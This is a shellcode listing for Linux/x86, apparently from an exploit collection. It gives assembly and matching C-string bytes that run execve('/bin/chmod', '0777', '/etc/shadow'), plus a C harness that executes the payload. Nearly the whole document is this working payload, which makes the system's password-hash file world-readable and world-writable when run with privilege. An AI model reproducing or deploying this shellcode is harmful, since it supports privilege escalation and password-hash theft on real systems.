*************************************************************** * Linux/x86 execve-chmod 0777 /etc/shadow 58 bytes *************************************************************** * Author: Hamza Megahed *************************************************************** * Twitter: @Hamza_Mega *************************************************************** * blog: hamza-mega[dot]blogspot[dot]com *************************************************************** * E-mail: hamza[dot]megahed[at]gmail[dot]com *************************************************************** xor %eax,%eax push %eax pushl $0x776f6461 pushl $0x68732f2f pushl $0x6374652f movl %esp,%esi push %eax pushl $0x37373730 movl %esp,%ebp push %eax pushl $0x646f6d68 pushl $0x632f6e69 pushl $0x622f2f2f mov %esp,%ebx pushl %eax pushl %esi pushl %ebp pushl %ebx movl %esp,%ecx mov %eax,%edx mov $0xb,%al int $0x80 ******************************** #include <stdio.h> #include <string.h> char *shellcode = "\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73""\x68\x68\x2f\x65\x74\x63\x89\xe6\x50\x68\x30\x37""\x37\x37\x89\xe5\x50\x68\x68\x6d\x6f\x64\x68\x69""\x6e\x2f\x63\x68\x2f\x2f\x2f\x62\x89\xe3\x50\x56""\x55\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }